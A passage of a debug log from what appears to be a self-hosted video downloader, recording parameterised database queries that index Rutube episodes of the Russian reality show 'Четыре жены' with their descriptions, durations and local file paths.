"livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре участницы начинают борьбу за звание лучшей жены. Алина из Ижевска покажет, что такое самореализация на диване. В Сочи девушки отправятся к Марине, которая подготовит для соперниц фотосессию и экстремальное развлечение. Наталья из Нарьян-Мара проведёт экскурсию по заводу и организует поездку на снегоходах. А Татьяна из Самары пригласит конкурсанток в свою творческую студию и на концерт мужа. Кто из девушек одержит победу, узнаем из программы «Четыре жены».", "Четыре жены: Пофигистка, муза, современная и супер-жена", "3b1943f4-7ecf-40a0-810f-e8e0a1945e33", "43416b12e7f3afe0c5f6151679f2b6d2", 6999, false, "https://rutube.ru/video/43416b12e7f3afe0c5f6151679f2b6d2/", 3, "/downloads/rutubeShows/4 жены/Season 2023/s2023e060800 - Четыре жены: Пофигистка, муза, современная и супер-жена.mp4", false, false, false, 6, [], 1, ~U[2023-06-08 14:40:04Z], ~U[2025-12-09 17:59:39Z], ~U[2025-12-09 17:59:39Z], "Четыре участницы начинают борьбу за звание лучшей жены. Алина из Ижевска покажет, что такое самореализация на диване. В Сочи девушки отправятся к Марине, которая подготовит для соперниц фотосессию и экстремальное развлечение. Наталья из Нарьян-Мара проведёт экскурсию по заводу и организует поездку на снегоходах. А Татьяна из Самары пригласит конкурсанток в свою творческую студию и на концерт мужа. Кто из девушек одержит победу, узнаем из программы «Четыре жены».", "Четыре жены: Пофигистка, муза, современная и супер-жена", "43416b12e7f3afe0c5f6151679f2b6d2", 6999, false, "https://rutube.ru/video/43416b12e7f3afe0c5f6151679f2b6d2/", "/downloads/rutubeShows/4 жены/Season 2023/s2023e060800 - Четыре жены: Пофигистка, муза, современная и супер-жена.mp4", false, 6, ~U[2023-06-08 14:40:04Z]] 20:59:39.391 [debug] QUERY OK source="sources" db=12.3ms idle=327.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:39.393 [debug] QUERY OK source="media_items" db=1.8ms queue=0.2ms idle=251.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-15 14:20:15Z], 6] 20:59:39.570 [debug] QUERY OK source="media_items" db=175.9ms idle=250.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Участницы проекта «Четыре жены» готовы оценить у своих соперниц хозяйственность, самореализацию и отношения с мужем. Эрануи из Симферополя удивит сочетанием в своей жизни стендапа и медитации. Анастасия из Новосибирска покажет, как проходят её тренинги, и пригласит конкуренток в СПА. Юлиана из Екатеринбурга расскажет, как успевает уделять время мужу, детям и бизнесу. А Екатерина из Королёва погрузит девушек не только в свою семейную жизнь, но и в творчество.", "Четыре жены: Позитивная, вдохновляющая, жена-друг и творец", "649adf5e-6607-469f-aeba-d193dcc28f74", "cb4ee596655824668ef87ae504f1e5dd", 6701, false, "https://rutube.ru/video/cb4ee596655824668ef87ae504f1e5dd/", 4, "/downloads/rutubeShows/4 жены/Season 2023/s2023e061500 - Четыре жены: Позитивная, вдохновляющая, жена-друг и творец.mp4", false, false, false, 6, [], 1, ~U[2023-06-15 14:20:15Z], ~U[2025-12-09 17:59:39Z], ~U[2025-12-09 17:59:39Z], "Участницы проекта «Четыре жены» готовы оценить у своих соперниц хозяйственность, самореализацию и отношения с мужем. Эрануи из Симферополя удивит сочетанием в своей жизни стендапа и медитации. Анастасия из Новосибирска покажет, как проходят её тренинги, и пригласит конкуренток в СПА. Юлиана из Екатеринбурга расскажет, как успевает уделять время мужу, детям и бизнесу. А Екатерина из Королёва погрузит девушек не только в свою семейную жизнь, но и в творчество.", "Четыре жены: Позитивная, вдохновляющая, жена-друг и творец", "cb4ee596655824668ef87ae504f1e5dd", 6701, false, "https://rutube.ru/video/cb4ee596655824668ef87ae504f1e5dd/", "/downloads/rutubeShows/4 жены/Season 2023/s2023e061500 - Четыре жены: Позитивная, вдохновляющая, жена-друг и творец.mp4", false, 6, ~U[2023-06-15 14:20:15Z]] 20:59:39.588 [debug] QUERY OK source="sources" db=17.2ms idle=193.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:39.590 [debug] QUERY OK source="media_items" db=1.9ms idle=197.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-22 14:41:56Z], 6] 20:59:39.732 [debug] QUERY OK source="media_items" db=140.2ms idle=197.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Приключения новых участниц проекта «Четыре жены» начинаются! В гостях у Веры из Волосово соперницам предстоит поработать, после чего Вера пригласит их на русский обед. В Сочи девушек ждут новые образы от Дианы и велопрогулка. В Санкт-Петербурге жёны покатаются на тракторе, побывают в строящемся доме Ксении и поухаживают за животными. В Москве Екатерина научит конкуренток печь тортики. А какими девушки покажут себя в отношении с мужьями, увидим в программе «Четыре жены».", "Четыре жены: Сильная, мягкая, дружбан, учится быть женой", "dee7e918-0177-48d1-bf16-160e2c52cec8", "b6b301e84fb7442e453d9be85b871b0d", 7469, false, "https://rutube.ru/video/b6b301e84fb7442e453d9be85b871b0d/", 5, "/downloads/rutubeShows/4 жены/Season 2023/s2023e062200 - Четыре жены: Сильная, мягкая, дружбан, учится быть женой.mp4", false, false, false, 6, [], 1, ~U[2023-06-22 14:41:56Z], ~U[2025-12-09 17:59:39Z], ~U[2025-12-09 17:59:39Z], "Приключения новых участниц проекта «Четыре жены» начинаются! В гостях у Веры из Волосово соперницам предстоит поработать, после чего Вера пригласит их на русский обед. В Сочи девушек ждут новые образы от Дианы и велопрогулка. В Санкт-Петербурге жёны покатаются на тракторе, побывают в строящемся доме Ксении и поухаживают за животными. В Москве Екатерина научит конкуренток печь тортики. А какими девушки покажут себя в отношении с мужьями, увидим в программе «Четыре жены».", "Четыре жены: Сильная, мягкая, дружбан, учится быть женой", "b6b301e84fb7442e453d9be85b871b0d", 7469, false, "https://rutube.ru/video/b6b301e84fb7442e453d9be85b871b0d/", "/downloads/rutubeShows/4 жены/Season 2023/s2023e062200 - Четыре жены: Сильная, мягкая, дружбан, учится быть женой.mp4", false, 6, ~U[2023-06-22 14:41:56Z]] 20:59:39.740 [debug] QUERY OK source="sources" db=7.3ms queue=1.0ms idle=233.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:39.742 [debug] QUERY OK source="media_items" db=1.4ms queue=0.1ms idle=171.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-29 14:40:07Z], 6] 20:59:39.844 [debug] QUERY OK source="media_items" db=101.1ms idle=155.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре жены расскажут о своей семейной жизни и самореализации. Наталья из Перми пригласит участниц в свой салон красоты и покажет, как проводит с мужем танцевальные вечера. Луиза из Ставрополя расскажет, как они с мужем построили базу отдыха, и предложит девушкам полетать на параплане. Юлия из Екатеринбурга проведёт небольшой мастер-класс по приготовлению тортов и пригласит на пейнтбол. Анастасия из Новосибирска покажет, как отдыхает от семейных обязанностей, и сводит соперниц на квест. Смотрите программу «Четыре жены»!", "Четыре жены: Жена-движок, любимая, хозяйка и просто жена", "d7ae4e44-454b-4870-8486-32bf63c41d88", "153a7989f58dbb01eb0ae4f99fe4688d", 5841, false, "https://rutube.ru/video/153a7989f58dbb01eb0ae4f99fe4688d/", 6, "/downloads/rutubeShows/4 жены/Season 2023/s2023e062900 - Четыре жены: Жена-движок, любимая, хозяйка и просто жена.mp4", false, false, false, 6, [], 1, ~U[2023-06-29 14:40:07Z], ~U[2025-12-09 17:59:39Z], ~U[2025-12-09 17:59:39Z], "Четыре жены расскажут о своей семейной жизни и самореализации. Наталья из Перми пригласит участниц в свой салон красоты и покажет, как проводит с мужем танцевальные вечера. Луиза из Ставрополя расскажет, как они с мужем построили базу отдыха, и предложит девушкам полетать на параплане. Юлия из Екатеринбурга проведёт небольшой мастер-класс по приготовлению тортов и пригласит на пейнтбол. Анастасия из Новосибирска покажет, как отдыхает от семейных обязанностей, и сводит соперниц на квест. Смотрите программу «Четыре жены»!", "Четыре жены: Жена-движок, любимая, хозяйка и просто жена", "153a7989f58dbb01eb0ae4f99fe4688d", 5841, false, "https://rutube.ru/video/153a7989f58dbb01eb0ae4f99fe4688d/", "/downloads/rutubeShows/4 жены/Season 2023/s2023e062900 - Четыре жены: Жена-движок, любимая, хозяйка и просто жена.mp4", false, 6, ~U[2023-06-29 14:40:07Z]] 20:59:39.859 [debug] QUERY OK source="sources" db=13.9ms idle=254.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:39.861 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=128.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-06 14:20:17Z], 6] 20:59:39.998 [debug] QUERY OK source="media_items" db=136.7ms queue=0.2ms idle=120.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Новые участницы сходят друг к другу в гости. Радмила из Челябинска покажет, как устроен быт в её фитнес-семье. Кристина из Орла докажет, что она является активной женой. Елена из Томска поделится секретами своих отношений, в которых за хозяйственность отвечает муж. А Виктория из Казани расскажет, что значит быть надёжной женой. Чем девушки впечатлят своих соперниц, покажет программа «Четыре жены».", "Четыре жены: Фитнес-жена, госпожа, активная и надежная", "4887eddb-0be1-418f-ad7b-12d17b28b89a", "cd8a9b1861cbfd294694f25bc7e289ea", 6366, false, "https://rutube.ru/video/cd8a9b1861cbfd294694f25bc7e289ea/", 7, "/downloads/rutubeShows/4 жены/Season 2023/s2023e070600 - Четыре жены: Фитнес-жена, госпожа, активная и надежная.mp4", false, false, false, 6, [], 1, ~U[2023-07-06 14:20:17Z], ~U[2025-12-09 17:59:39Z], ~U[2025-12-09 17:59:39Z], "Новые участницы сходят друг к другу в гости. Радмила из Челябинска покажет, как устроен быт в её фитнес-семье. Кристина из Орла докажет, что она является активной женой. Елена из Томска поделится секретами своих отношений, в которых за хозяйственность отвечает муж. А Виктория из Казани расскажет, что значит быть надёжной женой. Чем девушки впечатлят своих соперниц, покажет программа «Четыре жены».", "Четыре жены: Фитнес-жена, госпожа, активная и надежная", "cd8a9b1861cbfd294694f25bc7e289ea", 6366, false, "https://rutube.ru/video/cd8a9b1861cbfd294694f25bc7e289ea/", "/downloads/rutubeShows/4 жены/Season 2023/s2023e070600 - Четыре жены: Фитнес-жена, госпожа, активная и надежная.mp4", false, 6, ~U[2023-07-06 14:20:17Z]] 20:59:40.013 [debug] QUERY OK source="sources" db=13.9ms queue=0.1ms idle=256.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:40.014 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=169.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-13 15:00:10Z], 6] 20:59:40.095 [debug] QUERY OK source="media_items" db=78.9ms idle=156.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Участницы проекта «Четыре жены» продемонстрируют свои отношения, самореализацию и хозяйственность. Анастасия из Казани покажет, какими бывают свободные отношения. Юлия из Кургана расскажет, как ей удаётся поддерживать тёплый климат в семье. Екатерина из Калининграда удивит яркими красками в своих взаимоотношениях. А Карина из Москвы попробует доказать, что её семья самая идеальная.", "Четыре жены: Ленивая жена, идеальная, свободная и неженка", "41c4dde2-4b4e-45d5-b4f2-89bd7ec2fb4a", "33fe5158059d835e1850255b168d6db4", 7209, false, "https://rutube.ru/video/33fe5158059d835e1850255b168d6db4/", 8, "/downloads/rutubeShows/4 жены/Season 2023/s2023e071300 - Четыре жены: Ленивая жена, идеальная, свободная и неженка.mp4", false, false, false, 6, [], 1, ~U[2023-07-13 15:00:10Z], ~U[2025-12-09 17:59:40Z], ~U[2025-12-09 17:59:40Z], "Участницы проекта «Четыре жены» продемонстрируют свои отношения, самореализацию и хозяйственность. Анастасия из Казани покажет, какими бывают свободные отношения. Юлия из Кургана расскажет, как ей удаётся поддерживать тёплый климат в семье. Екатерина из Калининграда удивит яркими красками в своих взаимоотношениях. А Карина из Москвы попробует доказать, что её семья самая идеальная.", "Четыре жены: Ленивая жена, идеальная, свободная и неженка", "33fe5158059d835e1850255b168d6db4", 7209, false, "https://rutube.ru/video/33fe5158059d835e1850255b168d6db4/", "/downloads/rutubeShows/4 жены/Season 2023/s2023e071300 - Четыре жены: Ленивая жена, идеальная, свободная и неженка.mp4", false, 6, ~U[2023-07-13 15:00:10Z]] 20:59:40.103 [debug] QUERY OK source="sources" db=7.3ms queue=0.1ms idle=234.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:40.104 [debug] QUERY OK source="media_items" db=0.5ms idle=104.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-20 14:40:05Z], 6] 20:59:40.549 [debug] QUERY OK source="media_items" db=444.4ms idle=91.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Участницы проекта «Четыре жены» готовы оценить у своих соперниц хозяйственность, самореализацию и отношения с мужем. Илона пригласит девушек на урок математики и занятие теннисом. Наталья с мужем пригласят всех на свою церемонию бракосочетания никах в мечети. Дарья даст возможность всем девочкам побывать в роли телеведущих. А Екатерина с мужем подберут девушкам новые образы в одежде и макияже.", "Четыре жены: Жена-госпожа, послушная, эгоистка и любящая", "4b9a6330-ea5b-441b-9f19-1d17c9e3edf4", "bf2495e6657bbc1a1be5ee29b52ca7ff", 7100, false, "https://rutube.ru/video/bf2495e6657bbc1a1be5ee29b52ca7ff/", 9, "/downloads/rutubeShows/4 жены/Season 2023/s2023e072000 - Четыре жены: Жена-госпожа, послушная, эгоистка и любящая.mp4", false, false, false, 6, [], 1, ~U[2023-07-20 14:40:05Z], ~U[2025-12-09 17:59:40Z], ~U[2025-12-09 17:59:40Z], "Участницы проекта «Четыре жены» готовы оценить у своих соперниц хозяйственность, самореализацию и отношения с мужем. Илона пригласит девушек на урок математики и занятие теннисом. Наталья с мужем пригласят всех на свою церемонию бракосочетания никах в мечети. Дарья даст возможность всем девочкам побывать в роли телеведущих. А Екатерина с мужем подберут девушкам новые образы в одежде и макияже.", "Четыре жены: Жена-госпожа, послушная, эгоистка и любящая", "bf2495e6657bbc1a1be5ee29b52ca7ff", 7100, false, "https://rutube.ru/video/bf2495e6657bbc1a1be5ee29b52ca7ff/", "/downloads/rutubeShows/4 жены/Season 2023/s2023e072000 - Четыре жены: Жена-госпожа, послушная, эгоистка и любящая.mp4", false, 6, ~U[2023-07-20 14:40:05Z]] 20:59:40.551 [debug] QUERY OK source="sources" db=1.5ms queue=0.1ms idle=454.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:40.551 [debug] QUERY OK source="media_items" db=0.3ms idle=448.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-27 15:00:10Z], 6] 20:59:40.654 [debug] QUERY OK source="media_items" db=101.4ms idle=448.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре участницы начинают борьбу за звание лучшей жены. Анжелика из Истры предложит сделать кулоны с ее собственной кровью, Наиля из Челябинска накормит всех борщом и покажет мастер-класс по семейному футболу, Татьяна из Санкт-Петербурга проведет практику на раскрытие сердца, а Инита пригласит девушек в швейную мастерская и научит шить шоппер. Жены покажут себя во всей красе! Кто из них одержит победу, узнаем из программы «Четыре жены».", "Четыре жены: Жена с характером, творческая, свободная и подруга", "3ea2d918-4457-4c40-a074-41a0e9ac9628", "0329dc4cd3ca338a2b3f2a85d60fac5a", 6925, false, "https://rutube.ru/video/0329dc4cd3ca338a2b3f2a85d60fac5a/", 10, "/downloads/rutubeShows/4 жены/Season 2023/s2023e072700 - Четыре жены: Жена с характером, творческая, свободная и подруга.mp4", false, false, false, 6, [], 1, ~U[2023-07-27 15:00:10Z], ~U[2025-12-09 17:59:40Z], ~U[2025-12-09 17:59:40Z], "Четыре участницы начинают борьбу за звание лучшей жены. Анжелика из Истры предложит сделать кулоны с ее собственной кровью, Наиля из Челябинска накормит всех борщом и покажет мастер-класс по семейному футболу, Татьяна из Санкт-Петербурга проведет практику на раскрытие сердца, а Инита пригласит девушек в швейную мастерская и научит шить шоппер. Жены покажут себя во всей красе! Кто из них одержит победу, узнаем из программы «Четыре жены».", "Четыре жены: Жена с характером, творческая, свободная и подруга", "0329dc4cd3ca338a2b3f2a85d60fac5a", 6925, false, "https://rutube.ru/video/0329dc4cd3ca338a2b3f2a85d60fac5a/", "/downloads/rutubeShows/4 жены/Season 2023/s2023e072700 - Четыре жены: Жена с характером, творческая, свободная и подруга.mp4", false, 6, ~U[2023-07-27 15:00:10Z]] 20:59:40.664 [debug] QUERY OK source="sources" db=7.4ms queue=0.2ms idle=136.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:40.665 [debug] QUERY OK source="media_items" db=0.7ms idle=115.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-08-03 15:00:10Z], 6] 20:59:40.769 [debug] QUERY OK source="media_items" db=102.8ms idle=114.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["4 жены позовут в гости, познакомят со своими семьями и расскажут о своих увлечениях. Татьяна из Рязани сводит соперниц на стройку, а также предложит им покататься на мотоцикле. Алина из Новосибирска научит девушек делать макияж, а её муж устроит конкурсы в баре. Надежда из Москвы продемонстрирует свои способности в ювелирном деле и вокальные таланты. Виктория из Краснодара пригласит конкуренток на открытие своего шоу-рума и на рыбалку. А какие оценки участницы получат за свою хозяйственность, увидим в программе «Четыре жены».", "Четыре жены: Жена-королева, неформальная, красотка и жена-напарник", "2ee5dfdd-e138-4d57-98ee-6e9fb505e893", "de6aaa9de4796334005ea0feac7c3ef2", 7418, false, "https://rutube.ru/video/de6aaa9de4796334005ea0feac7c3ef2/", 11, "/downloads/rutubeShows/4 жены/Season 2023/s2023e080300 - Четыре жены: Жена-королева, неформальная, красотка и жена-напарник.mp4", false, false, false, 6, [], 1, ~U[2023-08-03 15:00:10Z], ~U[2025-12-09 17:59:40Z], ~U[2025-12-09 17:59:40Z], "4 жены позовут в гости, познакомят со своими семьями и расскажут о своих увлечениях. Татьяна из Рязани сводит соперниц на стройку, а также предложит им покататься на мотоцикле. Алина из Новосибирска научит девушек делать макияж, а её муж устроит конкурсы в баре. Надежда из Москвы продемонстрирует свои способности в ювелирном деле и вокальные таланты. Виктория из Краснодара пригласит конкуренток на открытие своего шоу-рума и на рыбалку. А какие оценки участницы получат за свою хозяйственность, увидим в программе «Четыре жены».", "Четыре жены: Жена-королева, неформальная, красотка и жена-напарник", "de6aaa9de4796334005ea0feac7c3ef2", 7418, false, "https://rutube.ru/video/de6aaa9de4796334005ea0feac7c3ef2/", "/downloads/rutubeShows/4 жены/Season 2023/s2023e080300 - Четыре жены: Жена-королева, неформальная, красотка и жена-напарник.mp4", false, 6, ~U[2023-08-03 15:00:10Z]] 20:59:40.786 [debug] QUERY OK source="sources" db=15.1ms queue=0.1ms idle=218.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:59:40.787 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=132.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-06-06 15:00:12Z], 6] 20:59:40.882 [debug] QUERY OK source="media_items" db=94.5ms idle=123.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON 